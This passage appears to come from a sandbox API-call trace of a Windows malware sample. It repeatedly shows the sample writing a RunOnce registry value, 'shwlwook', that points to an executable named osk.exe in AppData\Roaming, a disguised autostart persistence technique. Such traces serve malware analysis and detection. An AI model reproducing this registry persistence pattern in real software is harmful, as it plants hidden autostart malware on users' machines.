_MaxCount=0x5) returned 0 [0257.352] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.352] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.352] RegCloseKey (hKey=0x14c) returned 0x0 [0257.353] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.353] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.367] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.367] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.367] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.368] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.368] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.368] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.368] RegCloseKey (hKey=0x14c) returned 0x0 [0257.368] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.369] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.382] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.382] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.383] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.383] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.383] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.383] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.384] RegCloseKey (hKey=0x14c) returned 0x0 [0257.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.384] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.398] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.398] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.399] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.399] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.399] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.399] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.399] RegCloseKey (hKey=0x14c) returned 0x0 [0257.400] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.400] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.414] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.414] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.414] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.415] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.415] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.415] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.415] RegCloseKey (hKey=0x14c) returned 0x0 [0257.415] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.416] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.429] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.429] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.430] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.430] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.430] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.430] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.430] RegCloseKey (hKey=0x14c) returned 0x0 [0257.431] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.431] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.445] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.445] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.445] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.446] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.446] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.446] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.446] RegCloseKey (hKey=0x14c) returned 0x0 [0257.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.446] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.461] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.461] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.461] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.461] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.462] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.462] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.462] RegCloseKey (hKey=0x14c) returned 0x0 [0257.462] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.462] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.476] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.476] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.476] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.477] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.477] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.477] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.477] RegCloseKey (hKey=0x14c) returned 0x0 [0257.478] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.478] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.492] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.492] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.492] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.493] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.493] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.493] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.493] RegCloseKey (hKey=0x14c) returned 0x0 [0257.493] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.494] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.508] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.508] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.508] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.509] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.509] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.509] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.509] RegCloseKey (hKey=0x14c) returned 0x0 [0257.509] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.510] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.523] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.523] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.524] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.524] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.524] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.524] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.524] RegCloseKey (hKey=0x14c) returned 0x0 [0257.525] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.525] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.539] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.539] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.539] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.539] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.540] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.540] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.540] RegCloseKey (hKey=0x14c) returned 0x0 [0257.540] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.540] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.554] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.554] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.555] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.555] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.555] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.555] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.556] RegCloseKey (hKey=0x14c) returned 0x0 [0257.556] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.556] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 